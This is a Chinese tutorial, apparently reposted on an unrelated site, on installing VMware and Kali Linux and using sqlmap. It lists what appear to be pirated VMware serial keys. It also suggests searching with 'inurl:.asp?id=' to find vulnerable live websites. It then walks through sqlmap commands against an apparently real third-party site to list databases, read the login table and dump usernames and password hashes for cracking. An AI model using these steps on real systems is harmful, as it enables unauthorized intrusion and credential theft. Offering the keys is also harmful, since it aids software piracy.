肥宅钓鱼网
当前位置: 首页 钓鱼百科

win10自带虚拟机安装kali报错(网络安全.虚拟机VMware)

时间:2023-08-04 作者: 小编 阅读量: 1 栏目名: 钓鱼百科

Sqlmap是一款非常强大的开源渗透测试工具,用于自动检测和利用SQL注入漏洞控制数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。通过人为猜解,知道登录表位usr。

一.虚拟机安装

1.首先需要下载VMware虚拟机,并对其进行安装。下载地址:https://www.vmware.com/cn.html

2.选择合适的版本进行下载,作者这里安装的版本为“VMware-workstation-full-12.5.2-4638234.ext”,并且上传至百度云分享给大家。

3.双击EXE文件,开始进行安装。

4.安装完成之后输入序列号激活。

5A02H-AU243-TZJ49-GTC7K-3C61N VF5XA-FNDDJ-085GZ-4NXZ9-N20E6UC5MR-8NE16-H81WY-R7QGV-QG2D8ZG1WH-ATY96-H80QP-X7PEX-Y30V4AA3E0-0VDE1-0893Z-KGZ59-QGAVF

5.运行VMware软件如下图所示,接下来需要进行第二部分的Kali配置。

二.创建虚拟机并载入Kali Linux

1.去Kali官网Downloads页面下载64位Kali Linux的torrent文件,再通过迅雷下载。下载地址:https://www.kali.org/downloads/,作者百度云网盘已上传。

2.下载成功后,新建虚拟机,选择“自定义”设置。

3.导入下载好的Kali Linux镜像文件,选择操作系统为Linux。

4.输入虚拟机的名称和安装位置。

5.设置内存分配大小,建议不要超过提示的最大内存推荐。

6.接着点击下一步,包括。

7.选择磁盘容量大小,建议比分配容量大些,并设为。

8.创建完成之后,如下图所示。

三.安装Kali Linux

1.开启虚拟机,进入安装界面,如下图所示,点击“开启此虚拟机”。

2.选择安装方式为“Graphical install”。

3.选择语言“中文简体”和地区“中国”,点击“继续”按钮安装。

4.自定义主机名,默认为“kali”,域名直接跳过即可。

5.设置用户密码,这是类似于Windows的开机密码,接着安装。

6.设置磁盘分区。

7.接着接续安装。

8.在询问是否要选择网络镜像时,如果你的网络很好可以选择是,这里我选择否。

下面这个GRUB安装至硬盘要选择“是”!

9.安装成功之后,等待系统重启即安装完成。

10.最终界面如下图所示。

Kali其他设置包括分辨率、中文输入、全屏显示等,请同学们自行百度学习。

四.Kali功能介绍

1.信息收集

2.漏洞分析

3.Web程序

4.数据库评估软件

5.密码攻击

6.无线攻击

7.逆向工程

8.漏洞利用工具集

9.嗅探/欺骗

10.权限维护

11.数字取证

12.报告工具集

13.Social Engineering Tools

打开某个软件,如下图所示。

五.SQLmap基本用法

下面作者结合Sqlmap简单讲述一个Kali环境中的实战案例。

Web漏洞包括网站本身漏洞、软件漏洞、服务器漏洞、外部攻击等,其拿站的基本方法包括通用型、SQL注入、DDoS、XXS跨站、越权漏洞、旁站注入、CSRF跨站请求、上传漏洞、支付漏洞等。

Sqlmap 是一款非常强大的开源渗透测试工具,用于自动检测和利用SQL注入漏洞控制数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。

Sqlmap的基本流程如下:

找注入点并检测:sqlmap –u “链接”

列库显示数据库:sqlmap –u “链接” --dbs

列表显示表:sqlmap –u “链接” –D 数据库 --tables

列字段显示表中字段: sqlmap –u “链接” –D 数据库 –T 表名 --columns

爆内容显示字段内容:sqlmap –u “链接” –D 数据库 –T 表名 –C 字段 --dump

作者本来想以“实验吧”的CTF题目作为测试地址(http://ctf5.shiyanbar.com/8/index.php?id=1),但最近它维修中,无法访问;但使用“inurl:.asp?id=”未能搜索到目标网站。希望读者后续尝试“实验吧”的那个例子,或者自行搭建本地网站环境进行SQL注入学习。

第一步:寻找目标网站,通过浏览器“inurl:.asp?id=”搜索,寻找存在SQL注入漏洞的目标,可以先尝试手工注入判断。

判断注入点的方法很多,比如show.asp?code=115’ 加单引号,show.asp?code=115-1 减1,这里介绍一个经典的方法。

(1) http://xxxxx/show.asp?code=115’ and 1=1 – (正常显示)

对应的SQL语句:

select … from table where code=‘115’ and 1=1 – and xxxx;

单引号(’)匹配code='115,然后and连接,1=1恒成立,注释(–)掉后面语句。

(2) http://xxxxx/show.asp?code=115’ and 1=2 – (错误显示)

对应的SQL语句:

select … from table where code=‘115’ and 1=2 – and xxxx;

单引号(’)匹配code='115,然后and连接,1=2恒错误,注释(–)掉后面语句。

但很多网站都会有防火墙,防止SQL注入,如下图所示。

第二步:打开Kali环境中的Sqlmap环境,如下图所示。(后续采用之前的文章进行讲解,也希望读者自己尝试下)

第三步:获取所有数据库。

sqlmap.py -u "http://.../tztgxx.aspx?code=115" --dbs

运行结果如下图所示,获取9个数据库,其中–dbs参数表示databases。

第四步:获取当前数据库。

sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db

运行结果如下图所示,获取9个数据库。其中–current-db参数表示当前数据库,相当于前文MSSQL的db_name()获取数据库字段。输出结果:akykd_new。

第五步:获取数据库当前用户。

sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-user

运行结果如下图所示,获取当前数据库用户sa。

第六步:获取数据库所有用户和密码。

sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords

运行结果如下图所示,获取数据库用户和密码。

第七步:获取数据库所有表。

sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new --tables

运行结果如下图所示,获取数据库ahykd_new的所有表,其中-D表示数据库,–tables表示所有表。通过人为猜解,知道登录表位usr。

第八步:获取数据库登录表所有字段。

sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr --columns

运行结果如下图所示,获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,–columns表示usr表所有列。

是不是感觉到了SQLMAP的强大,其中用户名usr_name、密码passwd。

第九步:获取数据库登录表用户名和密码。

sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password" --dump

获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,-C表示输出字段(usr_name、passwd),–dump输出所有值。

如果字段内容太多,可以设置输出个数,如10个用户名和密码。参数:-D ahykd_new -T usr -C “usr_name,passwd” --start 1 --stop 10 --dump

正常的输出结果例如下图所示,再通过md5解密即可。

六.总结

又忙了16个小时,发现自己网络安全方向的基础非常薄弱,有太多实践知识想学,太多学术论文想看,每天都在忙碌,过程非常艰辛,博士哪有这么好毕业。但是这种苦中带甜,充实的滋味又让我陶醉,还有远方的女神、许多朋友和博友的陪伴。希望未来在网络态势感知、恶意代码检测、嫌疑识别和知识图谱方面能再深入点,多读文献,多找创新,加油。

天行健,君子以自强不息。

地势坤,君子以厚德载物。

最后希望基础性文章对您有所帮助,作者也是这个领域的菜鸟一枚,希望与您共同进步,共勉。

    推荐阅读
  • 让小孩子看见真正的奥特曼(孩子妈被奥特曼惨虐)

    那你别忘了给我带个奥特曼回来哦。好好好,那你想要哪一个奥特曼?小孩想了一会儿说:我想你帮我买最厉害的那个奥特曼。个么究竟谁是奥特曼届的一番??我原本以为在日本能找到那种全身关节都能活动,同时发出各种声音和光电效果的奥特曼,结果,在商场里看到的,全是非常普通,仅仅支持上半身缓缓旋转的软胶做成的奥特曼。这是家里装奥特曼的箱子:这是犬子今年夏天过生日时候的情形:他每天都吵着要穿成这样去幼儿园……

  • 血饮屠龙霸业怎么升级(屠龙霸业升级的方法)

    首先最重要的就是去做主线任务,完整的一环任务做下来能够提升角色好几级呢,而且还能够领略到游戏的多种玩法与新奇内容。日常任务也是一个不错的选择,只要玩家完成一些简单的小任务,不仅可以得到各种材料奖励,还可以得到不错的经验值哦。在一些特殊玩法中玩家还会得到各类经验丹道具,使用之后就可以为角色提供超额的经验值,这也是玩家快速提升等级的小技巧啦。

  • 黑麦和面技巧(黑麦和面技巧是什么)

    黑麦和面技巧准备35℃温水,将酵母倒入温水中,搅拌充分溶解。和面,酵母水一点点倒入黑麦面粉搅成絮状,如果觉得面干,可以适当加一点水,不同面粉吸水性不一,适当调节加水量。揉面,均匀有条理的揉揣面团,直到面团成为一体。醒发,盖上湿布或者保鲜膜,可以放在温度在30℃的烤箱中发酵;也可以放在温水锅里面发酵。以体积两倍大、用手戳下去不回弹为标准即可。美味可口的黑麦馒头就可以出锅了,淡淡麦香味,越嚼越香。

  • 五花肉炖桂笋怎么做(五花肉炖桂笋的做法教程)

    下面更多详细答案一起来看看吧!五花肉炖桂笋怎么做桂竹笋500公克,五花肉150公克,葱45公克,原味高汤1罐,鸡汤块1/2块,水800㏄。五花肉切块;桂竹笋、葱切段,加入所有调味料煮至沸腾。热锅,倒入适量油,放入作法1材料炒香。转小火续焖煮至肉熟透,且汤汁收干即可。

  • 梦见大海有什么征兆(为什么梦见大海)

    梦见大海海面波涛滚滚,预示着你对目前的生活状况很是不满意,内心正积攒这一股愤怒的情绪,随时随地都会爆发。梦见大海涨潮或起大风浪,预示着近期你会困难重重,阻碍会很大,自己很难战胜,建议你要提早做好预防的打算。梦见在大海中航行,预示着你近期的运势不错,以往生活中的烦恼和不愉快都会随之飘散,日后会事事顺心。梦见在大海中游泳,预示着你的能力很强,不久将会扩大自己的影响范围。

  • 太吾绘卷正式版攻略流派(太吾绘卷生育流玩法详解)

    只要他身上有轮回再身,那么,被你夺舍后,会根据轮回台的数量对这个npc进行加成。要注意的一点是,轮回台对每个npc只在传剑的时候生效,如果你传剑完了,再造轮回台,新的轮回台是不会增加你现在人物属性的。轮回台的增加的资质会不会加入生孩子时候的计算,这个我真不知道,有待各位去取证,我这个人物是生育的第二代,四个轮回台加成出来的。很明显的就是,两次轮回的npc,其资质明显高于一次轮回的npc。出现轮回的次数大大增加。

  • 呼啦圈怎么玩(呼啦圈的玩法)

    接下来我们就一起去研究一下吧!双脚站立,与肩同宽,两臂在身后呈3点和9点位置,握住呼啦圈,使之与身体保持30公分远。吸气挺胸,尽力夹紧肩胛骨。顺时针转动呼啦圈。直到右手置于头部正上方,左手置于臀后。坚持10秒钟,慢慢深呼吸,之后恢复初始状态。

  • 玻璃碗可以放空气炸锅吗 保鲜玻璃碗可以放空气炸锅吗

    若是耐热玻璃材质制成的碗,可以放进空气炸锅。实际上使用空气炸锅时,不需要使用到碗,它是有专门的位置盛放食物。

  • 世事如棋局局新是什么意思(世事如棋局局新)

    昨天上午,我去亚洲最大的上海浦东山姆会员商店购物,随手拍摄视频剪辑后,发西瓜视频等平台,今天看了一下后台数据,我自认为展现量还不错。今天中午,邻居驾车要去山姆会员店,拉我一起去。到了山姆会员店,只见进店的人已经限流了。细问店员,才知明天浦东新区要做全员核酸检测,可能要静默48小时。人们等在面包房门口,一旦出现刚出炉的面包,便一拥而上。

  • 文化常识提高88题(文化常识分类细练判断题集锦)

    古代男子二十岁行冠礼后即可成婚,并享受成人待遇,女子十八岁行笄礼后也可结婚。会同有大、小之分,天子、诸侯各自派遣卿大夫参加的,称“小会同”,天子、诸侯亲自参加的,称“大会同”。后世凶礼主要指丧葬、持服、封谥号等与死亡有关的礼仪。其中“拱”是古代的一种相见礼,两手在头顶相合,表示恭敬。该词也是常用于书信、表奏的首尾,表示恭敬。在堂上举行的礼节活动以南向为尊。“仙逝”现也用于称被人尊敬的人物之死。